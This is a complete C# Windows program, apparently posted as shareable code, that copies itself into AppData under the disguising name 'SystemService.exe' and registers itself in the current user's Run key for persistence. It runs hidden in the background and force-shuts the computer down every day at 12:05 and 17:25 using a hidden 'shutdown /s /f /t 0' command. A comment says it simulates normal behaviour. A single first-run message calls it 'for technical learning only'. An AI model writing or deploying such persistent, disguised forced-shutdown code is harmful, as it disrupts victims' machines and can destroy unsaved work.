编辑代码

using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
using System.Windows.Forms;
using Microsoft.Win32;

namespace AutoShutdown
{
    class Program
    {
        private static readonly string AppName = "SystemService";
        private static readonly string AppPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), $"{AppName}.exe");
        private static readonly string RegKey = @"Software\Microsoft\Windows\CurrentVersion\Run";

        static void Main(string[] args)
        {
            // 确保单实例运行
            using (Mutex mutex = new Mutex(true, AppName, out bool createdNew))
            {
                if (!createdNew)
                {
                    return; // 如果已有实例运行，则退出
                }

                // 检查是否首次运行
                CheckFirstRun();

                // 设置开机自启动
                SetupAutoStart();

                // 后台运行并检查时间
                RunInBackground();
            }
        }

        static void CheckFirstRun()
        {
            RegistryKey key = Registry.CurrentUser.OpenSubKey(@"Software\MyApp", true);
            if (key == null)
            {
                key = Registry.CurrentUser.CreateSubKey(@"Software\MyApp");
            }

            if (key.GetValue("FirstRun") == null || (int)key.GetValue("FirstRun") == 0)
            {
                MessageBox.Show("此程序将每天在12:05和17:25自动关机，仅用于技术学习。", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
                key.SetValue("FirstRun", 1);
            }
            key.Close();
        }

        static void SetupAutoStart()
        {
            if (Environment.GetCommandLineArgs()[0] != AppPath)
            {
                if (!File.Exists(AppPath))
                {
                    File.Copy(Environment.GetCommandLineArgs()[0], AppPath);
                }

                RegistryKey key = Registry.CurrentUser.OpenSubKey(RegKey, true);
                if (key != null && key.GetValue(AppName) == null)
                {
                    key.SetValue(AppName, $"\"{AppPath}\"");
                }
                key?.Close();
            }
        }

        static void RunInBackground()
        {
            bool isShuttingDown = false;
            while (true)
            {
                DateTime now = DateTime.Now;
                // 检查是否接近目标时间（12:04:30-12:05:30 或 17:24:30-17:25:30）
                bool nearTargetTime = (now.Hour == 12 && now.Minute == 4 && now.Second >= 30) ||
                                      (now.Hour == 12 && now.Minute == 5 && now.Second <= 30) ||
                                      (now.Hour == 17 && now.Minute == 24 && now.Second >= 30) ||
                                      (now.Hour == 17 && now.Minute == 25 && now.Second <= 30);

                if (!isShuttingDown && nearTargetTime)
                {
                    // 接近目标时间时，精确到秒
                    if ((now.Hour == 12 && now.Minute == 5 && now.Second == 0) ||
                        (now.Hour == 17 && now.Minute == 25 && now.Second == 0))
                    {
                        isShuttingDown = true;
                        // 模拟正常行为，短暂延迟
                        Thread.Sleep(500);
                        Process.Start(new ProcessStartInfo
                        {
                            FileName = "cmd.exe",
                            Arguments = "/c shutdown /s /f /t 0",
                            CreateNoWindow = true,
                            UseShellExecute = false
                        });
                        break;
                    }
                    // 精确检查时，每秒检查一次
                    Thread.Sleep(1000);
                }
                else
                {
                    // 非目标时间段，30秒检查一次
                    Thread.Sleep(30000);
                }
            }
        }
    }
}